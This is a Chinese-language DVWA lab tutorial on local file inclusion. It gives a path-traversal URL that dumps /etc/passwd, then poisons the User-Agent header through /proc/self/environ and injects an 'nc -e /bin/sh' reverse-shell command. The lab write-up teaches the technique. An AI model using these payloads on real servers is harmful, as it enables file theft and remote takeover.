local file inclusion允许攻击者读取同一台服务器上的任何文件
- 访问www目录外的文件
- 如果用户账号密码保存在某个文件里,就可以读了,这个是很危险的
- 如果多个网站部署在一台服务器上,通过a网站的此漏洞,就可以访问B网站的文件,从而进一步实施攻击
来看下具体的例子把
点击file inclusion,可以看到url是这个样子的,
file inclusion 的url是这个样子的,XXX/?page=include.PHP
试试以下输入url,可以看到error,从报错中可见这个路径文件是存在的。
我们知道一般服务器上存在/etc/passwd文件,所以我们试图获取这个文件的内容,从而进一步获取更多文件,加以利用。
通过构造url:XXXX../../../找到目标的路径
http://192.168.254.129/dvwa/vulnerabilities/fi/?page=/../../../../../etc/passwd
这样我们就获取了该文件的内容
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false
这样就可以获取www目标外的文件了。至此就有机会获取目标机器的完全控制权了
这个时候我们security设置的为low或者medium
更进一步,本地文件中包含shell
构造url,来查看环境变量的文件
http://192.168.254.129/dvwa/vulnerabilities/fi/?page=/../../../../../proc/self/environ
可以看到user_AGENT 就是用户浏览器的信息,有信息是可以写到服务器端的
通过burp,修改这个值
改成php函数,phpinfo
效果是这样的,可以查看php信息
还可以把这个值改为命令
passthru("nc -e /bin/sh 192.168.254.129 8888");
关于passthru
(PHP 4, PHP 5, PHP 7, PHP 8)
passthru — 执行外部程序并且显示原始输出
说明
passthru(string
$command
, int&$result_code
=null
): ?bool同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(
command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为image/gif
, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
同时在攻击服务器上监听该端口8888,就可以获得完全访问控制权限了
这就是通过注入代码实现的
以上